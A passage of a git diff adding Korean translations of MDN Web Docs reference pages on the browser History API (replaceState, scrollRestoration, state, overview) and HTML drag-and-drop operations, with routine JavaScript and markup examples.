+history<span class="punctuation token">.</span><span class="function token">pushState</span><span class="punctuation token">(</span>stateObj<span class="punctuation token">,</span> <span class="string token">''</span><span class="punctuation token">,</span> '<span class="string token">bar.html'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>위 두 줄에 대한 설명은 <a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a> 문서의 <a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API#Example_of_pushState_method">Example of <code>pushState()</code> method</a>에서 확인할 수 있습니다. 그 다음, <span class="nowiki">https://www.mozilla.org/bar.html</span>에서 아래와 같은 JavaScript를 실행한다고 가정해보세요:</p>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">history<span class="punctuation token">.</span><span class="function token">replaceState</span><span class="punctuation token">(</span>stateObj<span class="punctuation token">,</span> <span class="string token">''</span><span class="punctuation token">,</span> '<span class="string token">bar2.html'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>이렇게하면 URL 표시줄에 <span class="nowiki">https://www.mozilla.org/bar2.html이라고 표시되지만</span>, 브라우저가 <code>bar2.html<font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">을 로드하거나 </span></font></code><code>bar2.html</code>파일이 있는지 확인하지는 않습니다.</p>
+
+<p>이제 사용자가 <span class="nowiki">https://www.microsoft.com으로 이동한 다음</span>, 뒤로가기 버튼을 누른다고 가정해봅시다. 이 때, URL 표시줄에는<span class="nowiki">https://www.mozilla.org/bar2.html이 표시됩니다. 사용자가 다시 뒤로가기 버튼을 누르면, URL 표시줄에는 https://www.mozilla.org/foo.html이 표시되고, bar.html은 완전히 무시되어 표시되지 않습니다.</span></p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>{{SpecName("HTML5 W3C")}} 이후 변화 없음.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "history.html#dom-history-replacestate", "History.replaceState()")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>초기 정의.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.replaceState")}}</p>
diff --git a/files/ko/web/api/history/scrollrestoration/index.html b/files/ko/web/api/history/scrollrestoration/index.html
new file mode 100644
index 0000000000..a9a4923bd7
--- /dev/null
+++ b/files/ko/web/api/history/scrollrestoration/index.html
@@ -0,0 +1,72 @@
+---
+title: History.scrollRestoration
+slug: Web/API/History/scrollRestoration
+tags:
+ - API
+ - HTML DOM
+ - History API
+ - Property
+ - Reference
+translation_of: Web/API/History/scrollRestoration
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>History.scrollRestoration</code></strong> 속성을 사용하면 기록 탐색 시 사용할 스크롤 위치 복원 기능의 기본값을 웹 애플리케이션이 지정할 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">let scrollRestore = history.scrollRestoration;</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>"auto"</code></dt>
+ <dd>페이지 내에서 사용자의 스크롤이 위치했던 장소로 복원합니다.</dd>
+ <dt><code>"manual"</code></dt>
+ <dd>스크롤을 복원하지 않습니다. 사용자가 직접 스크롤해야 합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="현재_스크롤_복원_여부_알아내기">현재 스크롤 복원 여부 알아내기</h3>
+
+<pre class="brush: js">const scrollRestoration = history.scrollRestoration
+if (scrollRestoration === 'manual') {
+ console.log('The location on the page is not restored, user will need to scroll manually.');
+}
+</pre>
+
+<h3 id="스크롤_복원_비활성화">스크롤 복원 비활성화</h3>
+
+<pre class="brush: js">if (history.scrollRestoration) {
+ window.history.scrollRestoration = 'manual';
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", " #scroll-restoration-mode", "History.scrollRestoration")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-scrollrestoration", "History.scrollRestoration")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History.scrollRestoration")}}</p>
diff --git a/files/ko/web/api/history/state/index.html b/files/ko/web/api/history/state/index.html
new file mode 100644
index 0000000000..0f889665c7
--- /dev/null
+++ b/files/ko/web/api/history/state/index.html
@@ -0,0 +1,67 @@
+---
+title: History.state
+slug: Web/API/History/state
+translation_of: Web/API/History/state
+---
+<div>{{APIRef("History API")}}</div>
+
+<p><span class="seoSummary"><strong><code>History.state</code></strong> 속성은 현 history에 해당하는 state값을 나타냅니다.</span></p>
+
+<p>{{event("popstate")}} 이벤트가 트리거될때가 아닌 상태에서 state값을 볼 수 있는 방법입니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">const <em>currentState</em> = history.state</pre>
+
+<h3 id="값">값</h3>
+
+<p>현 history에 위치한 값입니다. 이 값은 {{domxref("History.pushState","pushState()")}} 또는 {{domxref("History.replaceState","replaceState()")}}을 사용할때까지 {{jsxref("null")}} 값을 가집니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p><code>history.state</code> 로 초기값을 보여준 후 {{domxref("History.pushState","pushState()")}}를 사용하여 State를 푸시합니다.</p>
+
+<p>다음 코드 줄은 <code>history.state</code> 를 사용하여 콘솔에다 값이 푸시되었음을 보여줍니다.</p>
+
+<pre class="brush: js">// Should be null because we haven't modified the history stack yet
+console.log(`History.state before pushState: ${history.state}`);
+
+// Now push something on the stack
+history.pushState({name: 'Example'}, "pushState example", 'page3.html');
+
+// Now state has a value.
+console.log(`History.state after pushState: ${history.state}`);</pre>
+
+<h2 id="SpecificationsE">Specifications<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Web/API/History$edit#Specifications" rel="nofollow, noindex"><span>E</span></a></h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "#dom-history-state", "History.state")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#dom-history-state", "History.state")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.History.state")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/History_API/Working_with_the_History_API">Working with the History API</a></li>
+</ul>
diff --git a/files/ko/web/api/history_api/index.html b/files/ko/web/api/history_api/index.html
new file mode 100644
index 0000000000..3396a23460
--- /dev/null
+++ b/files/ko/web/api/history_api/index.html
@@ -0,0 +1,117 @@
+---
+title: History API
+slug: Web/API/History_API
+tags:
+ - API
+ - Advanced
+ - DOM
+ - History
+ - 기록
+ - 브라우저 히스토리
+ - 히스토리
+translation_of: Web/API/History_API
+---
+<div>{{DefaultAPISidebar("History API")}}</div>
+
+<p>DOM의 {{domxref("Window")}} 객체는 {{domxref("Window.history", "history")}} 객체를 통해 브라우저의 세션 기록에 접근할 수 있는 방법을 제공합니다. {{domxref("History", "history")}}는 사용자를 자신의 방문 기록 앞과 뒤로 보내고 기록 스택의 콘텐츠도 조작할 수 있는, 유용한 메서드와 속성을 가집니다.</p>
+
+<h2 id="개념과_사용_방법">개념과 사용 방법</h2>
+
+<p>사용자 방문 기록에서 앞뒤로 이동할 땐 {{domxref("History.back","back()")}}, {{domxref("History.forward","forward()")}}, {{domxref("History.go","go()")}} 메서드를 사용합니다.</p>
+
+<h3 id="앞으로_가기와_뒤로_가기">앞으로 가기와 뒤로 가기</h3>
+
+<p>방문 기록의 뒤로 이동하려면 다음과 같이 사용합니다.</p>
+
+<pre class="brush: js">history.back()</pre>
+
+<p>위의 코드는 사용자가 브라우저 도구 모음의 뒤로 가기 버튼을 누른 것과 같습니다.</p>
+
+<p>이와 비슷하게, 기록의 앞으로 (도구 모음의 앞으로 가기 버튼) 가는 것도 할 수 있습니다.</p>
+
+<pre class="brush: js">history.forward()</pre>
+
+<h3 id="기록의_특정_지점으로_이동">기록의 특정 지점으로 이동</h3>
+
+<p>{{domxref("History.go", "go()")}} 메서드를 사용하면 세션 기록에서 현재 페이지의 위치를 기준으로, 상대적인 거리에 위치한 특정 지점까지 이동할 수 있습니다.</p>
+
+<p>한 페이지 뒤로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.back", "back()")}}과 동일)</p>
+
+<pre class="brush: js">history.go(-1)</pre>
+
+<p>한 페이지 앞으로 이동하려면  다음과 같이 사용합니다. ({{domxref("History.forward", "forward()")}}와 동일)</p>
+
+<pre class="brush: js">history.go(1)</pre>
+
+<p>매개변수로 지정한 숫자를 바꾸면 2 페이지씩 이동하는 것도 가능합니다.</p>
+
+<p><code>go()</code>의 다른 사용법은 매개변수를 제공하지 않거나 0을 제공해 현재 페이지를 다시 불러오는 것입니다.</p>
+
+<pre class="brush: js">// The following statements
+// both have the effect of
+// refreshing the page
+history.go(0)
+history.go()</pre>
+
+<p>{{domxref("History.length", "length")}} 속성을 사용해 방문 기록 스택의 크기도 알아낼 수 있습니다.</p>
+
+<pre class="brush: js">let numberOfEntries = window.history.length</pre>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("History")}}</dt>
+ <dd>브라우저의 세션 기록에 접근할 수 있는 방법을 제공하는 인터페이스입니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 {{domxref("window.onpopstate")}} 속성에 이벤트 처리기를 부착한 후, {{domxref("window.history", "history")}} 객체를 사용해 브라우저 방문 기록을 추가하거나 대체한 후 탐색하는 코드입니다.</p>
+
+<pre class="brush:js line-numbers language-js">window.onpopstate = function(event) {
+ alert(`location: ${document.location}, state: ${JSON.stringify(event.state)}`)
+}
+
+history.pushState({page: 1}, "title 1", "?page=1")
+history.pushState({page: 2}, "title 2", "?page=2")
+history.replaceState({page: 3}, "title 3", "?page=3")
+history.back() // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back() // alerts "location: http://example.com/example.html, state: null"
+history.go(2) // alerts "location: http://example.com/example.html?page=3, state: {"page":3}"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("HTML WHATWG", "browsers.html#history", "History")}}</td>
+ <td>{{Spec2("HTML WHATWG")}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName("HTML5 W3C", "browsers.html#history", "History")}}</td>
+ <td>{{Spec2("HTML5 W3C")}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.History")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li>{{domxref("window.onpopstate")}}</li>
+</ul>
diff --git a/files/ko/web/api/html_드래그_앤_드롭_api/drag_operations/index.html b/files/ko/web/api/html_드래그_앤_드롭_api/drag_operations/index.html
new file mode 100644
index 0000000000..122e835b75
--- /dev/null
+++ b/files/ko/web/api/html_드래그_앤_드롭_api/drag_operations/index.html
@@ -0,0 +1,343 @@
+---
+title: Drag Operations
+slug: Web/API/HTML_드래그_앤_드롭_API/Drag_operations
+translation_of: Web/API/HTML_Drag_and_Drop_API/Drag_operations
+---
+<p>{{DefaultAPISidebar("HTML Drag and Drop API")}}</p>
+
+<p>다음은 드래그 &amp; 드랍(drag &amp; drop) 동작 실행 시 각 단계에 대한 설명입니다.</p>
+
+<p class="note">이 문서에 설명된 드래그 동작은 {{domxref("DataTransfer")}} 인터페이스를 사용합니다. 이 문서에서는 {{domxref("DataTransferItem")}} 인터페이스나 {{domxref("DataTransferItemList")}} 인터페이스를 사용하지 않습니다.</p>
+
+<h2 id="draggableattribute" name="draggableattribute">Draggable 속성</h2>
+
+<p>웹 페이지 안에서 특정 상황에 기본 드래그(default drag) 행위가 사용될 경우가 있습니다. 선택된 텍스트(text selections), 이미지 또는 링크가 여기에 포함됩니다. 이미지나 링크가 드래그될 때, 이미지나 링크의 URL이 드래그 데이터(drag data)로 설정되고 드래그가 시작됩니다. 다른 요소의 경우, 기본 드래그가 발생할 선택(selections)에 포함되어 있어야 합니다(For other elements, they must be part of a selection for a default drag to occur). 이 효과를 보기 위해서는 웹 페이지의 어떤 영역을 선택하고 마우스를 클릭한 채로 드래그하면 됩니다. 드래그가 발생할 때 마우스 포인터로 선택 영역에 대한 OS별 렌더링이 표시됩니다. 이 행위는 기본 드래그 행위인 경우에만 발생하는 것으로 드래그되는 데이터를 조정할 리스너가 없는 경우에는 작동하지 않습니다.</p>
+
+<p>HTML에서 이미지나 링크 그리고 선택(selections)에 대한 기본 행위를 제외한 나머지 요소는 기본적으로 드래그되지 않습니다. <a href="/en-US/docs/Mozilla/Tech/XUL">XUL</a>에서는 모든 요소가 드래그 가능합니다.</p>
+
+<p>다른 HTML 요소를 드래그할 수 있게 하려면 세 가지가 이루어져야 합니다:</p>
+
+<ul>
+ <li>드래그가 가능하도록 만들고자 하는 요소에 대한 <code>{{htmlattrxref("draggable")}}</code> 속성이 <code>true</code>로 설정되어야 합니다.</li>
+ <li><code>{{event("dragstart")}}</code> 이벤트에 대한 리스너를 추가합니다.</li>
+ <li>위에서 정의한 리스너에 {{domxref("DataTransfer.setData","Set the drag data")}}를 설정합니다.</li>
+</ul>
+
+<p>컨텐츠의 일부 영역을 드래그할 수 있도록 만드는 예제는 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+ This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/div&gt;
+</pre>
+
+<p>요소를 드래그할 수 있게 하기 위해서는 <code>{{htmlattrxref("draggable")}}</code> 속성이 true로 설정되어야 합니다. 이 속성이 생략되거나 false로 설정되면 해당 요소는 드래그할 수 없으며, 대신 텍스트가 선택됩니다. <code>{{htmlattrxref("draggable")}}</code> 속성은 이미지나 링크를 포함한 어떤 요소에서도 사용할 수 있습니다. 하지만, 이미지나 링크에 대해서는 기본값이 true로 설정되어 있으므로 이들 요소에 대해 드래깅할 수 없게 만들 경우에만 <code>{{htmlattrxref("draggable")}}</code> 속성의 값을 false로 설정하면 됩니다.</p>
+
+<p>어떤 요소가 드래그 가능한 경우, 해당 요소 내의 텍스트나 다른 요소는 마우스를 클릭하고 드래그하는 통상적인 방식으로는 선택할 수 없게 됩니다. 대신, 사용자가 <kbd>alt</kbd> 키를 누른채로 마우스로 텍스트를 선택하거나 키보드를 이용해 선택할 수 있습니다.</p>
+
+<p>XUL 요소에 대해서는 <code>{{htmlattrxref("draggable")}}</code> 속성을 사용할 필요가 없으며, 모든 XUL 요소는 드래그가 가능합니다.</p>
+
+<pre class="brush: html">&lt;button label="Drag Me" ondragstart="event.dataTransfer.setData('text/plain', 'Drag Me Button');"&gt;
+</pre>
+
+<h2 id="dragstart" name="dragstart">드래그 작업 시작</h2>
+
+<p>이 예제에서는 <code>{{domxref("GlobalEventHandlers.ondragstart","ondragstart")}}</code> 속성을 이용하여 {{event("dragstart")}} 이벤트에 대한 리스너를 추가합니다.</p>
+
+<pre class="brush: html">&lt;div draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'This text may be dragged')"&gt;
+ This text &lt;strong&gt;may&lt;/strong&gt; be dragged.
+&lt;/div&gt;
+</pre>
+
+<p>사용자가 드래그를 시작할 때, {{event("dragstart")}} 이벤트가 발생합니다. 이 예제에서는 드래그할 요소에 {{event("dragstart")}} 리스너가 추가되었습니다; 하지만, 대부분의 다른 이벤트가 그렇듯이 상위 요소에서 드래그 이벤트를 포착할 수 있습니다. {{event("dragstart")}} 이벤트 내에서 아래에서 설명하는 바와 같이 피드백 이미지(feedback image)나 드래그 효과와 그리고 드래그 데이터를 명시할 수 있습니다. 기본 이미지나 드래그 효과는 대부분의 상황에 적합하게 되어 있으며, 드래그 데이터만 필요합니다.</p>
+
+<h2 id="dragdata" name="dragdata">데이터 드래그</h2>
+
+<p>모든 {{domxref("DragEvent","drag events")}}는 드래그 데이터를 가지고 있는 {{domxref("DragEvent.dataTransfer","dataTransfer")}}라는 속성이 존재합니다 (<code>dataTransfer</code>는 {{domxref("DataTransfer")}} 객체입니다).</p>
+
+<p>드래그가 발생할 때, 데이터는 어떤 것이 드래그되는지를 구분할 수 있는 드래그와 연관되어야 합니다(When a drag occurs, data must be associated with the drag which identifies <em>what</em> is being dragged). 예를 들어, 선택된 텍스트가 드래그될 경우 드래그 데이터 항목에 연관된 데이터는 텍스트 자체입니다. 이와 유사하게, 웹 페이지 상의 링크가 드래그될 경우에 드래그 데이터 항목은 링크의 URL이됩니다.</p>
+
+<p>{{domxref("DataTransfer","drag data")}}는 두 가지 정보를 담고 있는데, 데이터의 유형(또는 형식)과 데이터 값입니다. 형식은 (텍스트 데이터에 해당하는 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a>과 같은) 형식 문자열(type string) 값이고, 값은 텍스트의 문자열입니다. 드래그가 시작되면, 데이터와 형식을 제공하는 데이터를 추가해야 합니다. 드래그되는 동안, <code>{{event("dragenter")}}</code> 이벤트와 <code>{{event("dragover")}}</code> 이벤트에 대한 이벤트 리스너에서 드래그되는 데이터의 형식을 사용해 드랍이 허용되는지 확인할 수 있습니다. 예를 들어, 링크가 허용되는 드랍 대상(drop target)은 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a> 형식의 링크인지 확인합니다. 드랍 이벤트 동안 리스너는 드래그 대상(being dragged)으로부터 데이터를 추출해 드랍되는 위치에 삽입합니다.</p>
+
+<p>{{domxref("DataTransfer","drag data's")}}의 {{domxref("DataTransfer.types","types")}} 속성은 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a> or <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#image" title="image/jpeg">image/jpeg</a>과 같은 {{domxref("DOMString")}} MIME-type 목록을 반환홥니다. 여러분은 자신만의 형식을 만들 수도 있습니다. 가장 흔하게 사용되는 형식은 권장 드래그 데이터 형식(<a href="/en-US/docs/DragDrop/Recommended_Drag_Types" title="/en-US/docs/DragDrop/Recommended_Drag_Types">Recommended Drag Types</a>)에서 소개하고 있습니다.</p>
+
+<p>드래그에는 여러 가지 다른 형식의 데이터 항목이 포함될 수 있습니다. 이를 통해 사용자 정의 형식(custom types)과 같은 보다 특정한 형식의 데이터를 주로 제공하지만, 특정한 유형을 지원하지 않는 드롭 대상에 대해 대체 데이터(fallback data)를 제공할 수도 있습니다. <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a> 형식의 일반적인 텍스트 데이터가 가장 단순한 형식의 데이터일 것입니다.이 형식의 데이터는 단순히 텍스트 형식으로 표시될 것입니다.</p>
+
+<p>{{domxref("DragEvent.dataTransfer","dataTransfer")}} 내에 드래그 데이터 항목(drag data item)을 설정하기 위해서는 {{domxref("DataTransfer.setData","setData()")}} 메서드를 이용합니다. 이 메서드는 각각 데이터 형식과 데이터 값인 두 개의 인자가 필요합니다. 예를 들어:</p>
+
+<pre class="brush: js">event.dataTransfer.setData("text/plain", "Text to drag");
+</pre>
+
+<p>이 경우, 데이터 값은 "Text to drag"이고 형식은 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a>입니다.</p>
+
+<p>여러 형식의 데이터를 제공할 수도 있습니다. 이를 위해서는 서로 다른 형식으로 {{domxref("DataTransfer.setData","setData()")}} 메서드를 여러 번 호출합니다. 이 때, 가장 세부적인 형식에서 덜 세부적인 형식의 순으로 호출해야 합니다.</p>
+
+<pre class="brush: js">var dt = event.dataTransfer;
+dt.setData("application/x-bookmark", bookmarkString);
+dt.setData("text/uri-list", "http://www.mozilla.org");
+dt.setData("text/plain", "http://www.mozilla.org");
+</pre>
+
+<p>여기서 데이터는 세가지 유형으로 추가됩니다. 첫번째 형식의 'application2x-bookmark'는 사용자 지정 형식입니다. 다른 응용 프로그램에서는 이 형식을 지원하지 않지만 동일한 사이트 또는 응용 프로그램의 영역 간 드래그할 경우, 이 사용자 지정 형식을 사용할 수 있습니다. 또한 다른 형식의 데이터를 제공함으로써 덜 세부적인 형태로 다른 애플리케이션으로의 드래그도 지원할 수 있습니다. 다른 형식이 하나의 URL또는 텍스트 형식만 제공할 때, 'application2x-bookmark' 형식은 해당 어플리케이션 내에서 사용될 경우 더 상세한 데이터를 제공할 수 있습니다</p>
+
+<p>이 예제에서 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#link" title="text/uri-list">text/uri-list</a>와 <a href="/en-US/docs/DragDrop/Recommended_Drag_Types#text" title="text/plain">text/plain</a>은 동일한 데이터를 담고있음에 주목하시기 바랍니다. 이렇게 해도 되지만, 꼭 이럴 필요는 없습니다.</p>
+
+<p>동일한 형식으로 데이터를 두 번 추가하려고 하면 새로운 데이터가 기존 데이터를 대체하지만 형식 목록 내에서 이전 데이터(old data)와 같은 위치에 있게 됩니다.</p>
+
+<p>{{domxref("DataTransfer.clearData","clearData()")}} 메서드를 이용해 해당 데이터를 지울 수 있는데, 이 메서드는 지우고자 하는 데이터의 형식을 인자로 가집니다.</p>
+
+<pre class="brush: js">event.dataTransfer.clearData("text/uri-list");
+</pre>
+
+<p>{{domxref("DataTransfer.clearData","clearData()")}} 메서드에 대한 형식 인자는 선택적입니다. 형식을 지정하지 않으면 모든 형식과 연관된 데이터가 지워집니다. 드래그할 때, 드래그 데이터 항목이 없거나 이후에 모든 항목이 삭제되면 드래그가 발생하지 않습니다.</p>
+
+<h2 id="dragfeedback" name="dragfeedback">드래그 피드백 이미지 설정</h2>
+
+<p>드래그가 발생할 때, 드래그 대상("{{event("dragstart")}}" 이벤트가 발생한 요소)으로부터 반투명한 이미지가 생성되고 드래그 하는 동안 마우스 포인터를 따라 움직입니다. 이 이미지는 자동으로 생성되며, 따로 생성할 필요가 없습니다. 하지만, {{domxref("DataTransfer.setDragImage","setDragImage()")}}를 이용해 사용자 정의 드래그 피드백 이미지를 지정할 수 있습니다.</p>
+
+<pre class="brush: js">event.dataTransfer.setDragImage(image, xOffset, yOffset);
+</pre>
+
+<p>세 개의 인자는 필수입니다. 첫 번째 인자는 이미지에 대한 참조(reference)입니다. 이 참조는 일반적으로 이미지에 대한 참조이나 캔버스(canvas)나 다른 요소를 지정할 수도 있습니다. 피드백 이미지는 단순하게 화면에 표시된 이미지의 모양으로부터 생성되지만, 이미지의 경우 원래 크기로 그려집니다. {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드의 두 번째와 세 번째 인자는 마우스 포인터에 대해 상대적인 옵셋(offsets)으로 이미지가 나타날 위치를 의미합니다.</p>
+
+<p>문서 내에 있지 않은 이미지나 캔버스를 사용하는 것 역시 가능합니다. 이 기법은 다음의 예제와 같이 캔버스 요소를 이용해 드래그 이미지를 사용자 정의 형태로 그리고자 할 때 유용합니다:</p>
+
+<pre class="brush: js">function dragWithCustomImage(event) {
+ var canvas = document.createElementNS("http://www.w3.org/1999/xhtml","canvas");
+ canvas.width = canvas.height = 50;
+
+ var ctx = canvas.getContext("2d");
+ ctx.lineWidth = 4;
+ ctx.moveTo(0, 0);
+ ctx.lineTo(50, 50);
+ ctx.moveTo(0, 50);
+ ctx.lineTo(50, 0);
+ ctx.stroke();
+
+ var dt = event.dataTransfer;
+ dt.setData('text/plain', 'Data to Drag');
+ dt.setDragImage(canvas, 25, 25);
+}
+</pre>
+
+<p>이 예제에서, 드래그 이미지를 표시할 캔버스를 하나 생성합니다. 캔버스는 너비가 와 높이가 모두 50 픽셀이고, 마우스 포인터가 이미지의 중앙에 위치하도록 옵셋(offsets)을 너비와 높이의 절반(25)으로 설정했습니다.</p>
+
+<p>{{h2_gecko_minversion("Using XUL panels as drag images", "9.0")}}</p>
+
+<p>Gecko 개발자일 경우 (Mozilla 어플리케이션 개발자든 add-on 개발자든 상관 없이), Gecko 9.0 {{geckoRelease("9.0")}}에 드래그 피드백 이미지로 XUL {{XULElem("panel")}} 요소를 사용할 수 있도록 하는 지원이 추가되었습니다. 간단히 {{XULElem("panel")}} 요소를 {{domxref("DataTransfer.setDragImage","setDragImage()")}} 메서드로 전달하기만 하면 됩니다.</p>
+
+<p>다음 XUL {{XULElem("panel")}}를 살펴보시기 바랍니다:</p>
+
+<pre class="brush: xml">&lt;<span class="start-tag">panel</span><span class="attribute-name"> id</span>=<span class="attribute-value">"panel" </span><span class="attribute-name">style</span>=<span class="attribute-value">"opacity: 0.6</span><span class="attribute-value">"</span>&gt;
+ &lt;<span class="start-tag">description</span><span class="attribute-name"> id</span>=<span class="attribute-value">"pb"</span>&gt;Drag Me&lt;/<span class="end-tag">description</span>&gt;
+&lt;/<span class="end-tag">panel</span>&gt;
+
+&lt;<span class="start-tag">vbox</span><span class="attribute-name"> align</span>=<span class="attribute-value">"start" </span><span class="attribute-name">style</span>=<span class="attribute-value">"border: 1px solid black;" </span><span class="attribute-name">ondragstart</span>=<span class="attribute-value">"startDrag(event)"</span>&gt;
+ &lt;<span class="start-tag">description</span>&gt;Drag Me&lt;/<span class="end-tag">description</span>&gt;
+&lt;/<span class="end-tag">vbox</span>&gt;
+</pre>
+
+<p>위의 예에서 사용자가 {{XULElem("vbox")}}를 클릭하고 드래그하기 시작하면, 아래의 <code>startDrag()</code> 함수가 호출됩니다.</p>
+
+<pre class="brush: js"><span class="cdata">function startDrag(event) {
+ event.dataTransfer.setData("text/plain", "&lt;strong&gt;Body&lt;/strong&gt;");
+ event.dataTransfer.setDragImage(document.getElementById("panel"), 20, 20);
+}</span>
+</pre>
+
+<p>이 함수는 해당 패널을 드래그 이미지로 사용하고, HTML 형식의 "&lt;strong&gt;Body&lt;/strong&gt;"을 데이터로 가집니다. 텍스트 편집기에 패널을 드랍하면 "<strong>Body</strong>"라는 텍스트가 드랍된 위치에 삽입됩니다.</p>
+
+<h2 id="drageffects" name="drageffects">드래그 효과</h2>
+
+<p>드래그할 때, 여러 가지 작업이 수행될 수 있습니다. <code>copy</code> 작업은 드래그되는 데이터가 현재 위치에서 드랍되는 위치로 복사될 것임을 나타냅니다. <code>move</code> 작업은 드래그되는 데이터가 이동될 것임을 나타내고, <code>link</code> 작업은 특정 형태의 관계(relationship)나 연결(connection)이 소스와 드랍되는 위치 사이에 생성될 것임을 나타냅니다.</p>
+
+<p>드래그 소스(drag source)에 대해 <code>{{event("dragstart")}}</code> 이벤트 리스너의 {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 설정함으로써, 이 세 가지 작업 중 어떤 것을 허용할 것인지를 지정할 수 있습니다.</p>
+
+<pre class="brush: js">event.dataTransfer.effectAllowed = "copy";
+</pre>
+
+<p>이 예제에서는, 복사만 허용됩니다. 다양한 방식으로 값을 조합할 수 있습니다:</p>
+
+<dl>
+ <dt>none</dt>
+ <dd>어떤 작업도 허용하지 않음.</dd>
+ <dt>copy</dt>
+ <dd>복사만 허용</dd>
+ <dt>move</dt>
+ <dd>이동만 허용</dd>
+ <dt>link</dt>
+ <dd>연결만 허용</dd>
+ <dt>copyMove</dt>
+ <dd>복사 또는 이동만 허용</dd>
+ <dt>copyLink</dt>
+ <dd>복사 또는 연결만 허용</dd>
+ <dt>linkMove</dt>
+ <dd>연결 또는 이동만 허용</dd>
+ <dt>all</dt>
+ <dd>복사, 이동 및 연결 모두 허용</dd>
+</dl>
+
+<p>이 값들은 반드시 위에 나열한 것과 정확하게 일치해야 함에 유의하시기 바랍니다. 예를 들어, {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 <code>copyMove</code>로 설정하면 복사와 이동 작업이 허용되나 연결(link) 작업은 금지됩니다. {{domxref("DataTransfer.effectAllowed","effectAllowed")}} 속성을 변경하지 않으면 'all' 값과 마찬가지로 어떤 작업도 허용됩니다. 따라서, 특정한 유형의 작업을 제외시키고 싶지 않다면 이 속성을 조정할 필요가 없습니다.</p>
+
